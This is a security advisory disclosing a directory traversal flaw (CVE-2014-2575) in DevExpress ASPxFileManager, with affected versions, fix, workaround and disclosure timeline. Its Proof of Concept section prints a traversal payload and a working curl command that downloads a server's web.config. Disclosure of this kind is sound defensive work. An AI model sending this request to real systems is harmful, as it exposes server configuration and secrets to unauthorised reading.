DevExpress ASPxFileManager 10.2 < 13.2.8 - Directory Traversal

Advisory: Directory Traversal in DevExpress ASP.NET File Manager



During a penetration test RedTeam Pentesting discovered a directory

traversal vulnerability in DevExpress' ASP.NET File Manager and File

Upload. Attackers are able to read arbitrary files by specifying a

relative path.



Details

=======



Product: DevExpress ASPxFileManager Control for WebForms and MVC

Affected Versions: DevExpress ASPxFileManager v10.2 to v13.2.8

Fixed Versions: DevExpress ASPxFileManager v13.2.9

Vulnerability Type: Directory Traversal

Security Risk: high

Vendor URL:

    https://www.devexpress.com/Products/NET/Controls/ASP/File-Upload-Explorer/

Vendor Status: fixed version released

Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-006

Advisory Status: published

CVE: CVE-2014-2575

CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2575





Introduction

============



"The DevExpress ASP.NET Subscription includes a standalone Multi-File

Upload Manager for WebForms and MVC and a pre-built File Manager for

WebForms; built so you can instantly introduce file management

capabilities in your next web application."



(from DevExpress' Homepage)





More Details

============



The ASPX File Manager component is prone to a directory traversal

vulnerability. Attackers with access to the File Manager component can

read arbitrary files on the same partition as the shared directory.



A common request to download a file via the File Manager component

requires multiple HTTP-Post parameters:



__EVENTTARGET=ctl00%24ContentPlaceHolder1%24ASPxFileManager1

__EVENTARGUMENT=13%7C<file.ext>

__EVENTVALID=



The parameter __EVENTARGUMENT=13|<file.ext> specifies a file download

and the file which is to be downloaded. Attackers may also request files

outside of the shared directory by prepending a relative path to a

parent directory.





Proof of Concept

================



By requesting files with a relative path, files otherwise not available

will be accessible through the File Manager component.  Depending on the

shared directory and the webserver configuration, the webserver

configuration file might for example be accessible through the File

Manager component:



__EVENTARGUMENT=13|../../web.config



Other sensitive operating system files could be affected, too.



Example exploit:

------------------------------------------------------------------------

curl --data __EVENTTARGET=ctl00%24ContentPlaceHolder1%24ASPxFileManager1\

"&__EVENTARGUMENT=13%7C../../web.config&=&__EVENTVALID" \

http://example.com/FileManagerComponent.aspx

------------------------------------------------------------------------



The request above will download the specified file.





Workaround

==========



Instead of a physical file system provider, a database file system

provider with limited access permissions could be used.





Fix

===



Update ASPxFileManager control to DevExpress libraries version v13.2.9.





Security Risk

=============



The risk is estimated to be high. This vulnerability allows attackers to

access arbitrary files on the same partition as the File Manager's root

directory. This may allow attackers to read sensitive information like

the webserver configuration.





Timeline

========



2014-03-10 Vulnerability identified

2014-03-21 Customer approved disclosure to vendor

2014-03-21 CVE number requested and assigned

2014-03-25 Vendor notified

2014-04-11 Customer opened support ticket with vendor

2014-04-17 Vendor released fixed version

2014-04-17 Vendor released security advisory to customers

2014-06-05 Advisory released





References

==========



Vendor Security Advisory:

http://security.devexpress.com/de7c4756/?id=ff8c1703126f4717993ac3608a65a2e2





RedTeam Pentesting GmbH

=======================



RedTeam Pentesting offers individual penetration tests, short pentests,

performed by a team of specialised IT-security experts. Hereby, security

weaknesses in company networks or products are uncovered and can be

fixed immediately.



As there are only few experts in this field, RedTeam Pentesting wants to

share its knowledge and enhance the public knowledge with research in

security related areas. The results are made available as public

security advisories.



More information about RedTeam Pentesting can be found at

https://www.redteam-pentesting.de.



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